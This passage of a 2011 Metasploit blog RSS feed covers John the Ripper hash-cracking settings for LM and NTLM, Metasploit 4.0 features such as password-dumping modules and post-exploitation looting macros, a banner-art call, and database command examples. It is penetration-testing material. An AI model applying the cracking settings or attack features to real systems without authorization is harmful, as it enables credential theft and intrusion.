30px;"&gt;--incremental=All4--format=lm&lt;/p&gt;&lt;p style="padding-left: 30px;"&gt;--incremental=Digits5--format=lm&lt;/p&gt;&lt;p style="padding-left: 30px;"&gt;--wordlist=&amp;lt;ourgenerated wordlist&amp;gt; --rules single --format=ntlm&lt;/p&gt;&lt;p style="padding-left: 30px;"&gt;--incremental=All4--format=ntlm&lt;/p&gt;&lt;p style="padding-left: 30px;"&gt;--incremental=Digits5--format=lm&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Incremental Rulesets:&lt;/strong&gt;&lt;/p&gt;&lt;p style="padding-left: 30px;"&gt;[Incremental:All4]&lt;/p&gt;&lt;p style="padding-left: 30px;"&gt;File = $JOHN/all.chr&lt;/p&gt;&lt;p style="padding-left: 30px;"&gt;MinLen = 0&lt;/p&gt;&lt;p style="padding-left: 30px;"&gt;MaxLen = 4&lt;/p&gt;&lt;p style="padding-left: 30px;"&gt;CharCount = 95&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p style="padding-left: 30px;"&gt;[Incremental:Digits5]&lt;/p&gt;&lt;p style="padding-left: 30px;"&gt;File =$JOHN/digits.chr&lt;/p&gt;&lt;p style="padding-left: 30px;"&gt;MinLen = 1&lt;/p&gt;&lt;p style="padding-left: 30px;"&gt;MaxLen = 5&lt;/p&gt;&lt;p style="padding-left: 30px;"&gt;CharCount = 10&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;As with everything in the framework, it's subject to patches and improvement, so make sure to &lt;a class="jive-link-external-small" href="http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/auxiliary/analyze/jtr_crack_fast.rb"&gt;check the code&lt;/a&gt;. Thanks to mubix for several edits. This info is current as of July 27, 2011.&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;UPDATE: Check out KoreLogic's upcoming Defcon 19 &lt;a class="jive-link-external-small" href="http://contest.korelogic.com/"&gt;password cracking contest&lt;/a&gt; if you're interested in this stuff!&lt;/p&gt;&lt;/div&gt;&lt;!-- [DocumentBodyEnd:518ff722-7a69-4bad-a55a-da4d97fd466e] --&gt;&lt;img src="http://feeds.feedburner.com/~r/metasploit/blog/~4/WbCDCKOgyI0" height="1" width="1"/&gt;</description>
      <pubDate>Wed, 27 Jul 2011 17:00:31 GMT</pubDate>
      <author>no-reply@rapid7.com</author>
      <guid isPermaLink="false">https://community.rapid7.com/community/metasploit/blog/2011/07/27/password-cracking-in-metasploit-with-john-the-ripper</guid>
      <dc:date>2011-07-27T17:00:31Z</dc:date>
      <clearspace:dateToText>1 month, 1 week ago</clearspace:dateToText>
      <clearspace:objectType>0</clearspace:objectType>
      <wfw:comment>https://community.rapid7.com/community/metasploit/blog/comment/password-cracking-in-metasploit-with-john-the-ripper</wfw:comment>
      <wfw:commentRss>https://community.rapid7.com/community/metasploit/blog/feeds/comments?blogPost=5405</wfw:commentRss>
    <feedburner:origLink>https://community.rapid7.com/community/metasploit/blog/2011/07/27/password-cracking-in-metasploit-with-john-the-ripper</feedburner:origLink></item>
    <item>
      <title>Metasploit 4.0 is coming soon!</title>
      <link>http://feedproxy.google.com/~r/metasploit/blog/~3/rWIaw_hA__8/metasploit-pro-40-brings-greater-enterprise-integration-cloud-deployment-options-and-penetration-testing-automation</link>
      <description>&lt;!-- [DocumentBodyStart:b849886e-1fa4-480a-93ce-d1f548192a69] --&gt;&lt;div class="jive-rendered-content"&gt;&lt;p&gt;&lt;a href="http://www.ethicalhacker.net/content/view/376/2/"&gt;&lt;img alt="EthicalHackerRegistration.jpg" class="jive-image" height="251" src="https://community.rapid7.com/servlet/JiveServlet/downloadImage/38-5403-1380/144-251/EthicalHackerRegistration.jpg" style="float: right;" width="144"/&gt;&lt;/a&gt;It'll only be days until you can download the new Metasploit version 4.0! &lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;The new version marks the inclusion of 36 new exploits, 27 new post-exploitation modules and 12 auxiliary modules, all added since the release of version 3.7.1 in May 2011. These additions include nine new SCADA exploits, improved 64-bit Linux payloads, exploits for Firefox and Internet Explorer, full-HTTPS and HTTP Meterpreter stagers, and post-exploitation modules for dumping passwords from Outlook, WSFTP, CoreFTP, SmartFTP, TotalCommander, BitCoin, and many other applications. All of these these improvements are available in all Metasploit editions - the free and open source Metasploit Framework, as well as the commercial editions Metasploit Pro and Metasploit Express. &lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;As usual, we'll have several blog posts about developments to the Metasploit Framework in the coming weeks. In this post, I'd like to focus on some of the new features in the commercial editions. Metasploit Pro 4.0 is all about greater enterprise integration, cloud deployment options, and penetration testing automation. The best news for customers holding a valid license for Metasploit Express or Metasploit Pro: you&amp;rsquo;ll be able to upgrade free of charge. Here are some of the features in Metasploit Pro 4.0: &lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Make Metasploit Pro an integral part of your risk intelligence solution&lt;/strong&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;New third-party import filters: &lt;/strong&gt;&lt;span&gt;You can now import scan results from more than a dozen third-party web application scanners and additional vulnerability assessment tools to prioritize vulnerabilities and eliminate false positives (see &lt;a class="jive-link-external-small" href="http://www.rapid7.com/products/metasploit/technology/integrations.jsp"&gt;full list of supported import formats&lt;/a&gt;).&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Deeper integration with NeXpose: &lt;/strong&gt;While Metasploit provides only a file import option for third-party scanners, integrate directly with one or more NeXpose scan engines to start a scan or to verify results. This is particularly useful to organizations that have deployed NeXpose as an enterprise solution. As a result, organizations can streamline the verification of vulnerabilities and reduce their remediation costs.The integration is provided through officially supported, publicly documented APIs. &lt;/li&gt;&lt;li&gt;&lt;strong&gt;Vulnerability Management List Editing: &lt;/strong&gt;Add, modify, and delete vulnerability information directly through the product user interface to tweak imported data base on verification results and add additional findings as needed.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;SIEM integration interface:&lt;/strong&gt; Integrate Metasploit Pro with your Security Information and Event Management (SIEM) system through the RPC API and open XML format to get a better picture of your risk landscape. &lt;/li&gt;&lt;li&gt;&lt;strong&gt;Automated security tests: &lt;/strong&gt;Programmatically remote control Metasploit Pro through a new RPC programming interface to verify vulnerabilities or test systems. &lt;/li&gt;&lt;/ul&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Deploy Metasploit Pro in a way that works for you &lt;/strong&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Pre-packaged images for VMware vSphere: &lt;/strong&gt;You can now deploy Metasploit as a VMware image using VMware vSphere. This decreases provisioning costs for vulnerability programs covering remote locations. The OVF format is also compatible with other virtualization solutions.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Amazon Machine Image:&lt;/strong&gt; If you need to conduct external penetration tests, you can easily deploy Metasploit in the Amazon Elastic Compute Cloud (EC2). Metasploit is available as an Amazon Machine Image (AMI) and payment for the hosting costs can be processed through Amazon Web Services (AWS) accounts, making provisioning quick and easy, even with small budgets. &lt;/li&gt;&lt;/ul&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Boost your penetration tests &lt;/strong&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Persistent agents and listeners:&lt;/strong&gt; During a penetration test, mobile users and temporary network problems can cause established sessions to drop. Re-running the same exploit may not always lead to another session (or even be possible). Meterpreter now supports persistent agents and listeners so that the target machine actively re-establishes a session when it drops. Agents automatically expire after a pre-configured amount of time.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Macros: &lt;/strong&gt;Write macros that get triggered by certain events. For example, if you launch a social engineering campaign, you won&amp;rsquo;t know when an email user will click on a link or open a malicious attachment, so it is not practical to wait for someone to do so and create a session. Using post-exploitation macros, you can automate what happens once a target user falls into a social engineering trap. For example, the macro could automatically loot the machine or carry out a set of pre-defined steps. Macros can chain together are arbitrary post-exploitation modules and be extended through custom post-exploitation modules. &lt;/li&gt;&lt;li&gt;&lt;strong&gt;Exploit replay: &lt;/strong&gt;You can now replay all previously successful attacks. This makes verification of patch installation and configurations changes trivial. This also allows the export from one Metasploit copy to be used in a later verification through another copy.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Offline password cracking:&lt;/strong&gt; As a result of Rapid7&amp;rsquo;s sponsorship of the open-source project John the Ripper, Metasploit Pro now automatically cracks weak passwords during the evidence collection phase, making it possible to replay these passwords across multiple machines and protocols.&lt;/li&gt;&lt;/ul&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Inform stakeholders and document compliance with updated reports &lt;/strong&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;FISMA reports: &lt;/strong&gt;Easily document compliance with FISMA through a new report that maps findings to controls and requirements. &lt;/li&gt;&lt;li&gt;&lt;strong&gt;More visual reports: &lt;/strong&gt;Metasploit Pro reports now contain charts and diagrams that visualize the results of a penetration tests. &lt;/li&gt;&lt;/ul&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Other new features include &lt;/strong&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Increased exploitation speed&lt;/li&gt;&lt;li&gt;Updated social engineering campaigns, including the ability to clone existing websites and edit HTML in a rich editor&lt;/li&gt;&lt;li&gt;Updated user interface to simplify managing large projects&lt;/li&gt;&lt;li&gt;Easily re-run tasks that have been aborted by the user &lt;/li&gt;&lt;li&gt;Global settings for configuring NeXpose scan engines, macros, and API keys&lt;/li&gt;&lt;/ul&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;If you're a Metasploit Express customer and would like to know which of these features are included in your edition, please see the &lt;a class="jive-link-external-small" href="http://www.rapid7.com/products/metasploit/compare-and-buy.jsp"&gt;Metasploit Compare &amp;amp; Download&lt;/a&gt;&amp;#160; page. &lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;Metasploit 4.0 will be available for download in August 2011. If you can't wait that long, &lt;a class="jive-link-external-small" href="http://www.ethicalhacker.net/content/view/376/2/"&gt;&lt;strong&gt;register for an exclusive sneak preview with HD Moore this Thursday to see the new Metasploit Pro 4.0 in action!&lt;/strong&gt;&lt;/a&gt; &lt;/p&gt;&lt;div class="mcePaste" id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow: hidden;"&gt;--&amp;gt;&lt;span style="font-size: 12pt; font-family: &amp;amp;quot;Calibri&amp;amp;quot;,&amp;amp;quot;sans-serif&amp;amp;quot;"&gt;The Metasploit Framework is continuously updated and version 4.0 marks the inclusion of 36 new exploits, 27 new post-exploitation modules and 12 auxiliary modules, all added since the release of version 3.7.1 in May 2011. These additions include nine new SCADA exploits, improved 64-bit Linux payloads, exploits for Firefox and Internet Explorer, full-HTTPS and HTTP Meterpreter stagers, and post-exploitation modules for dumping passwords from Outlook, WSFTP, CoreFTP, SmartFTP, TotalCommander, BitCoin, and many other applications. For more information on the ongoing development of the Metasploit Framework, please visit the &lt;/span&gt;&lt;span style="font-size: 12pt; font-family: &amp;amp;quot;Times New Roman&amp;amp;quot;,&amp;amp;quot;serif&amp;amp;quot;"&gt;&lt;a class="" href="https://community.rapid7.com/community/metasploit?view=blog"&gt;&lt;span style="font-family: &amp;amp;quot;Calibri&amp;amp;quot;,&amp;amp;quot;sans-serif&amp;amp;quot;"&gt;Metasploit blog&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;!-- [DocumentBodyEnd:b849886e-1fa4-480a-93ce-d1f548192a69] --&gt;&lt;img src="http://feeds.feedburner.com/~r/metasploit/blog/~4/rWIaw_hA__8" height="1" width="1"/&gt;</description>
      <category domain="https://community.rapid7.com/community/metasploit/blog/tags">metasploit</category>
      <category domain="https://community.rapid7.com/community/metasploit/blog/tags">metasploit-express</category>
      <category domain="https://community.rapid7.com/community/metasploit/blog/tags">metasploit-pro</category>
      <category domain="https://community.rapid7.com/community/metasploit/blog/tags">penetration-testing</category>
      <category domain="https://community.rapid7.com/community/metasploit/blog/tags">password</category>
      <category domain="https://community.rapid7.com/community/metasploit/blog/tags">metasploit_pro</category>
      <category domain="https://community.rapid7.com/community/metasploit/blog/tags">fisma</category>
      <pubDate>Tue, 26 Jul 2011 14:49:47 GMT</pubDate>
      <author>christian_kirsch@rapid7.com</author>
      <guid isPermaLink="false">https://community.rapid7.com/community/metasploit/blog/2011/07/26/metasploit-pro-40-brings-greater-enterprise-integration-cloud-deployment-options-and-penetration-testing-automation</guid>
      <dc:date>2011-07-26T14:49:47Z</dc:date>
      <clearspace:dateToText>1 month, 1 week ago</clearspace:dateToText>
      <clearspace:objectType>0</clearspace:objectType>
      <wfw:comment>https://community.rapid7.com/community/metasploit/blog/comment/metasploit-pro-40-brings-greater-enterprise-integration-cloud-deployment-options-and-penetration-testing-automation</wfw:comment>
      <wfw:commentRss>https://community.rapid7.com/community/metasploit/blog/feeds/comments?blogPost=5403</wfw:commentRss>
    <feedburner:origLink>https://community.rapid7.com/community/metasploit/blog/2011/07/26/metasploit-pro-40-brings-greater-enterprise-integration-cloud-deployment-options-and-penetration-testing-automation</feedburner:origLink></item>
    <item>
      <title>ASCII Artists of the World UNITE!</title>
      <link>http://feedproxy.google.com/~r/metasploit/blog/~3/knRbBdhJZTo/ascii-artists-of-the-world-unite</link>
      <description>&lt;!-- [DocumentBodyStart:a52fa0d9-c456-4572-9561-cf5ddc038e28] --&gt;&lt;div class="jive-rendered-content"&gt;&lt;p&gt;Are you an artist?&amp;#160; Do you possess mad ASCII art skills?&amp;#160; Do you like the idea of having your artwork on the face of an open source project that's one of the world's largest, de-facto standard for penetration testing with more than one million unique downloads per year?&amp;#160; Then read on!&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;One of the first things many people likely noticed when updating to the Metasploit Framework version 4.0-testing was the new ASCII art. In addition to all the new awesome features we have been adding to Metasploit lately we wanted to give Metasploit a new look and appearance. When version 4.0-test first came out we had roughly 5 or 6 new banners. Slowly we have been adding to that number.&amp;#160; Now is your chance to make your mark on the Metasploit Project.&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;span&gt;The Metasploit team would like to encourage the talented folks from every corner of the community to join the ASCII art fun, and submit your most awesome, creative banners to us. All submissions should be uploaded to either Metasploit Redmine (&lt;/span&gt;&lt;a class="jive-link-external-small" href="http://dev.metasploit.com"&gt;http://dev.metasploit.com&lt;/a&gt;&lt;span&gt;), or e-mailed to &lt;/span&gt;&lt;a class="jive-link-email-small" href="mailto:msfdev@metasploit.com"&gt;msfdev@metasploit.com&lt;/a&gt;&lt;span&gt;. If selected, your artwork will be committed in our banner.rb file, together with the following banners that we currently have:&lt;/span&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt; &lt;a href="https://community.rapid7.com/servlet/JiveServlet/showImage/38-5402-1367/Metasploit-Matrix.png"&gt;&lt;img alt="Metasploit-Matrix.png" class="jive-image" height="300" src="https://community.rapid7.com/servlet/JiveServlet/downloadImage/38-5402-1367/287-300/Metasploit-Matrix.png" width="287"/&gt;&lt;/a&gt;&lt;a href="https://community.rapid7.com/servlet/JiveServlet/showImage/38-5402-1368/missle_command.png"&gt;&lt;img alt="missle_command.png" class="jive-image" height="300" src="https://community.rapid7.com/servlet/JiveServlet/downloadImage/38-5402-1368/289-300/missle_command.png" width="289"/&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a href="https://community.rapid7.com/servlet/JiveServlet/showImage/38-5402-1369/Kernel+panic.png"&gt;&lt;img alt="Kernel panic.png" class="jive-image" height="301" src="https://community.rapid7.com/servlet/JiveServlet/downloadImage/38-5402-1369/289-301/Kernel+panic.png" width="289"/&gt;&lt;/a&gt;&lt;a href="https://community.rapid7.com/servlet/JiveServlet/showImage/38-5402-1370/R7-Metasploit.png"&gt;&lt;img alt="R7-Metasploit.png" class="jive-image" height="301" src="https://community.rapid7.com/servlet/JiveServlet/downloadImage/38-5402-1370/287-301/R7-Metasploit.png" width="287"/&gt;&lt;/a&gt;&lt;a href="https://community.rapid7.com/servlet/JiveServlet/showImage/38-5402-1371/3Kom+Superhack.png"&gt;&lt;img alt="3Kom Superhack.png" class="jive-image" height="301" src="https://community.rapid7.com/servlet/JiveServlet/downloadImage/38-5402-1371/288-301/3Kom+Superhack.png" width="288"/&gt;&lt;/a&gt;&lt;a href="https://community.rapid7.com/servlet/JiveServlet/showImage/38-5402-1372/I+Love+Shells.png"&gt;&lt;img alt="I Love Shells.png" class="jive-image" height="301" src="https://community.rapid7.com/servlet/JiveServlet/downloadImage/38-5402-1372/287-301/I+Love+Shells.png" width="287"/&gt;&lt;/a&gt;&lt;a href="https://community.rapid7.com/servlet/JiveServlet/showImage/38-5402-1373/Metasploit+Bull.png"&gt;&lt;img alt="Metasploit Bull.png" class="jive-image" height="299" src="https://community.rapid7.com/servlet/JiveServlet/downloadImage/38-5402-1373/286-299/Metasploit+Bull.png" width="286"/&gt;&lt;/a&gt;&lt;a href="https://community.rapid7.com/servlet/JiveServlet/showImage/38-5402-1374/Modern+Cowsay.png"&gt;&lt;img alt="Modern Cowsay.png" class="jive-image" height="297" src="https://community.rapid7.com/servlet/JiveServlet/downloadImage/38-5402-1374/285-297/Modern+Cowsay.png" width="285"/&gt;&lt;/a&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;For questions, as always, please feel free to drop by our IRC channel (#metasploit on irc.freenode.net).&lt;/p&gt;&lt;/div&gt;&lt;!-- [DocumentBodyEnd:a52fa0d9-c456-4572-9561-cf5ddc038e28] --&gt;&lt;img src="http://feeds.feedburner.com/~r/metasploit/blog/~4/knRbBdhJZTo" height="1" width="1"/&gt;</description>
      <pubDate>Mon, 25 Jul 2011 14:31:25 GMT</pubDate>
      <author>bannedit@metasploit.com</author>
      <guid isPermaLink="false">https://community.rapid7.com/community/metasploit/blog/2011/07/25/ascii-artists-of-the-world-unite</guid>
      <dc:date>2011-07-25T14:31:25Z</dc:date>
      <clearspace:dateToText>1 month, 1 week ago</clearspace:dateToText>
      <clearspace:objectType>0</clearspace:objectType>
      <wfw:comment>https://community.rapid7.com/community/metasploit/blog/comment/ascii-artists-of-the-world-unite</wfw:comment>
      <wfw:commentRss>https://community.rapid7.com/community/metasploit/blog/feeds/comments?blogPost=5402</wfw:commentRss>
    <feedburner:origLink>https://community.rapid7.com/community/metasploit/blog/2011/07/25/ascii-artists-of-the-world-unite</feedburner:origLink></item>
    <item>
      <title>Metasploit 4.0: The Database as a core feature</title>
      <link>http://feedproxy.google.com/~r/metasploit/blog/~3/M_0gwB7S18Q/metasploit-40-the-database-as-a-core-feature</link>
      <description>&lt;!-- [DocumentBodyStart:7dc00871-5d07-4ae4-b9be-694ef65be5cd] --&gt;&lt;div class="jive-rendered-content"&gt;&lt;p&gt;Early in the 3.x days, metasploit had support for using databases through plugins.&amp;#160; As the project grew, it became clear that tighter database integration was necessary for keeping track of the large amount of information a pentester might encounter during an engagement.&amp;#160; To support that, we moved database functionality into the core, to be available whenever a database was connected and later added postgres to the installer so that functionality could be used out of the box.&amp;#160; Still, the commands for dealing with the database and information stored there were sort of second-class citizens, all beginning with a "db_" prefix.&amp;#160; We recently addressed this issue for the upcoming 4.0 release. &lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;Commands that query the database have lost their "db_" prefix, while those that deal with managing the DB itself have retained it. For example, "&lt;span style="font-family: 'courier new', courier;"&gt;db_hosts&lt;/span&gt;" is now just "&lt;span style="font-family: 'courier new', courier;"&gt;hosts&lt;/span&gt;" and "&lt;span style="font-family: 'courier new', courier;"&gt;db_status&lt;/span&gt;" remains the same. The idea behind this change is that hosts (and other entities) don't really have anything to do with the database other than the fact that they are stored there. Additionally, the deprecated db_import_*, db_create, and db_destroy have been removed. &lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;The remaining commands have been improved by expanding search abilities and standardizing option parsing.&amp;#160; So where you previously had to type full IP addresses to list more than one host, now all commands that search the database take hosts in nmap host specification format, and all of them that deal with services can take ports similarly. Furthermore, the options have been standardized a bit so &lt;span style="font-family: 'courier new', courier;"&gt;-p&lt;/span&gt; always means port, &lt;span style="font-family: 'courier new', courier;"&gt;-s&lt;/span&gt; always means service name. &lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;Example usage for the &lt;span style="font-family: 'courier new', courier;"&gt;services&lt;/span&gt; command: &lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;!--[CodeBlockStart:b92d1d10-536d-4906-8cbd-534338af3a67]--&gt;&lt;pre class="jive-pre"&gt;&lt;code class="jive-code"&gt;msf &amp;gt; services 192.168.1-10.1,3,5 -p 22-25,80,443,445 192.168.99.0/24

Services
========

host&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; port&amp;#160; proto&amp;#160; name&amp;#160; state&amp;#160; info
----&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; ----&amp;#160; -----&amp;#160; ----&amp;#160; -----&amp;#160; ----
192.168.99.1&amp;#160;&amp;#160;&amp;#160;&amp;#160; 22&amp;#160;&amp;#160;&amp;#160; tcp&amp;#160;&amp;#160;&amp;#160; ssh&amp;#160;&amp;#160; open
192.168.99.141&amp;#160;&amp;#160; 445&amp;#160;&amp;#160; tcp&amp;#160;&amp;#160;&amp;#160; smb&amp;#160;&amp;#160; open&amp;#160;&amp;#160; Windows XP Service Pack 2 (language: Unknown) (name:XP-SP2) (domain:WORKGROUP)
192.168.100.129&amp;#160; 445&amp;#160;&amp;#160; tcp&amp;#160;&amp;#160;&amp;#160; smb&amp;#160;&amp;#160; open&amp;#160;&amp;#160; Unix Samba 3.4.7 (language: Unknown) (name:FOO) (domain:FOO)

msf &amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;!--[CodeBlockEnd:b92d1d10-536d-4906-8cbd-534338af3a67]--&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;The new changes also make it really easy to find services running on odd ports &lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;!--[CodeBlockStart:4a1414c2-296e-4b48-97ba-68ca8866a4c5]--&gt;&lt;pre class="jive-pre"&gt;&lt;code class="jive-code"&gt;msf auxiliary(ssh_version) &amp;gt; services -s ssh

Services
========

host&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; port&amp;#160; proto&amp;#160; name&amp;#160; state&amp;#160; info
----&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; ----&amp;#160; -----&amp;#160; ----&amp;#160; -----&amp;#160; ----
192.168.17.134&amp;#160; 21&amp;#160;&amp;#160;&amp;#160; tcp&amp;#160;&amp;#160;&amp;#160; ssh&amp;#160;&amp;#160; open&amp;#160;&amp;#160; SSH-2.0-OpenSSH_4.4
192.168.17.134&amp;#160; 22&amp;#160;&amp;#160;&amp;#160; tcp&amp;#160;&amp;#160;&amp;#160; ssh&amp;#160;&amp;#160; open&amp;#160;&amp;#160; SSH-2.0-OpenSSH_4.4
192.168.17.134&amp;#160; 23&amp;#160;&amp;#160;&amp;#160; tcp&amp;#160;&amp;#160;&amp;#160; ssh&amp;#160;&amp;#160; open&amp;#160;&amp;#160; SSH-2.0-OpenSSH_4.4
192.168.17.134&amp;#160; 80&amp;#160;&amp;#160;&amp;#160; tcp&amp;#160;&amp;#160;&amp;#160; ssh&amp;#160;&amp;#160; open&amp;#160;&amp;#160; SSH-2.0-OpenSSH_4.4
192.168.17.134&amp;#160; 443&amp;#160;&amp;#160; tcp&amp;#160;&amp;#160;&amp;#160; ssh&amp;#160;&amp;#160; open&amp;#160;&amp;#160; SSH-2.0-OpenSSH_4.4
192.168.17.134&amp;#160; 1433&amp;#160; tcp&amp;#160;&amp;#160;&amp;#160; ssh&amp;#160;&amp;#160; open&amp;#160;&amp;#160; SSH-2.0-OpenSSH_4.4
192.168.17.134&amp;#160; 8080&amp;#160; tcp&amp;#160;&amp;#160;&amp;#160; ssh&amp;#160;&amp;#160; open&amp;#160;&amp;#160; SSH-2.0-OpenSSH_4.4
192.168.17.134&amp;#160; 8443&amp;#160; tcp&amp;#160;&amp;#160;&amp;#160; ssh&amp;#160;&amp;#160; open&amp;#160;&amp;#160; SSH-2.0-OpenSSH_4.4
192.168.17.134&amp;#160; 9022&amp;#160; tcp&amp;#160;&amp;#160;&amp;#160; ssh&amp;#160;&amp;#160; open&amp;#160;&amp;#160; SSH-2.0-OpenSSH_4.4

msf &amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;!--[CodeBlockEnd:4a1414c2-296e-4b48-97ba-68ca8866a4c5]--&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;An often requested feature is the ability to run a module against hosts in the database that match certain criteria.&amp;#160; That is now possible for scanner modules with the &lt;span style="font-family: 'courier new', courier;"&gt;hosts&lt;/span&gt; and &lt;span style="font-family: 'courier new', courier;"&gt;services&lt;/span&gt; commands' new &lt;span style="font-family: 'courier new', courier;"&gt;-R&lt;/span&gt; flag (and &lt;span style="font-family: 'courier new', courier;"&gt;--rhosts&lt;/span&gt;) which sets RHOSTS to the list of hosts returned.&amp;#160; If the result is more than 5 hosts, it makes options pretty hard to read, so Metasploit writes it out to a temporary file like so: &lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;!--[CodeBlockStart:88fbaec5-d361-4c15-8322-23c64ae9dd13]--&gt;&lt;pre class="jive-pre"&gt;&lt;code class="jive-code"&gt;msf auxiliary(ssh_version) &amp;gt; services -s ssh --rhosts

Services
========

host&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; port&amp;#160; proto&amp;#160; name&amp;#160; state&amp;#160; info
----&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; ----&amp;#160; -----&amp;#160; ----&amp;#160; -----&amp;#160; ----
192.168.87.1&amp;#160;&amp;#160;&amp;#160;&amp;#160; 22&amp;#160;&amp;#160;&amp;#160; tcp&amp;#160;&amp;#160;&amp;#160; ssh&amp;#160;&amp;#160; open&amp;#160;&amp;#160; SSH-2.0-dropbear_0.52
192.168.87.119&amp;#160;&amp;#160; 22&amp;#160;&amp;#160;&amp;#160; tcp&amp;#160;&amp;#160;&amp;#160; ssh&amp;#160;&amp;#160; open&amp;#160;&amp;#160; SSH-2.0-OpenSSH_5.8p1 Debian-1ubuntu3
192.168.87.122&amp;#160;&amp;#160; 22&amp;#160;&amp;#160;&amp;#160; tcp&amp;#160;&amp;#160;&amp;#160; ssh&amp;#160;&amp;#160; open&amp;#160;&amp;#160; SSH-2.0-OpenSSH_5.3p1 Debian-3ubuntu6
